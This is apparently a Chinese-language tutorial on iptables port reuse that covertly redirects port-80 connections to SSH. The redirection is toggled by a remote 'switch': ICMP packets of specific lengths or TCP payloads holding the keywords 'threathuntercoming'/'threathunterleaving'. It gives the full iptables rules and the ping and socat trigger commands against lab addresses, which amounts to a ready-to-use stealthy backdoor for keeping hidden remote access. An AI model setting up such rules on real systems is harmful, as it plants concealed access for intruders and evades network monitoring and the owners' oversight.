目录
方式一:利用 ICMP 做遥控开关
一、创建端口复用链
二、创建端口复用规则
三、设置开启开关
四、设置关闭开关
五、将发现的数据包转到HTTP_SSH_PORT链上进行处理
六、开启复用
七、关闭复用
方式二:利用tcp数据包中的关键字做遥控开关
一、创建端口复用链
二、创建端口复用规则
三、设置开启开关
四、关闭开关
五、将发现的数据包转到HTTP_SSH_TO链上进行处理
六、开启复用
七、关闭复用
方式一:利用 ICMP 做遥控开关
缺点:如果目标在内网,有可能无法直接 ping 到它,原因可能存在对方使用防火墙将ping直接关闭
一、创建端口复用链
iptables -t nat -N HTTP_SSH_PORT
结果如下图
二、创建端口复用规则
目的:将流量转发至22号端口
iptables -t nat -A HTTP_SSH_PORT -p tcp REDIRECT --to-port 22
结果如下图
三、设置开启开关
目的:如果接受到一个长为1139的ICMP包,则将来源IP添加到为jack的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name jack --rsource -j ACCEPT
结果如下图
四、设置关闭开关
目的:如果收到一个长为1140的ICMP包,则将来源IP从jack列表中去掉
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name jack --remove -j ACCEPT
结果如下图
五、将发现的数据包转到HTTP_SSH_PORT链上进行处理
目的:如果发现SYN包的来源IP处于jack列表中,将直接转到HTTP_SSH_PORT链上进行处理,有效时间为3600秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name jack --rsource -j HTTP_SSH_PORT
结果如下图
六、开启复用
向目标发送一个长度为 1111 的 ICMP 数据包(加上包头28,总长度实际为1139)
ping -c 1 -s 1111 192.168.75.134
结果如下图
此时使用80端口进行远程连接,实现了80端口在22端口的复用,且成功连接
七、关闭复用
向目标发送一个长度为 1112 的 ICMP 数据包(加上包头 28,总长度实际为 1140)
ping -c 1 -s 1112 192.168.75.134
此时使用80端口,进行远程连接将无法连接成功
方式二:利用tcp数据包中的关键字做遥控开关
优点:不怕目标在内网
一、创建端口复用链
iptables -t nat -N HTTP_SSH_TO
结果如下图
二、创建端口复用规则
iptables -t nat -A HTTP_SSH_TO -p tcp -j REDIRECT --to-port 22
结果如下图
三、设置开启开关
iptables -A INPUT -p tcp -m string --string ‘threathuntercoming’ --algo bm -m recent --set --name jack --rsource -j ACCEPT
结果如下图
四、关闭开关
iptables -A INPUT -p tcp -m string --string ‘threathunterleaving’ --algo bm -m recent --name jack --remove -j ACCEPT
结果如下图
五、将发现的数据包转到HTTP_SSH_TO链上进行处理
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name jack --rsource -j HTTP_SSH_TO
结果如下图
六、开启复用
echo threathuntercoming | socat - tcp:192.168.75.137:80
七、关闭复用
echo threathunterleaving | socat - tcp:192.168.75.137:80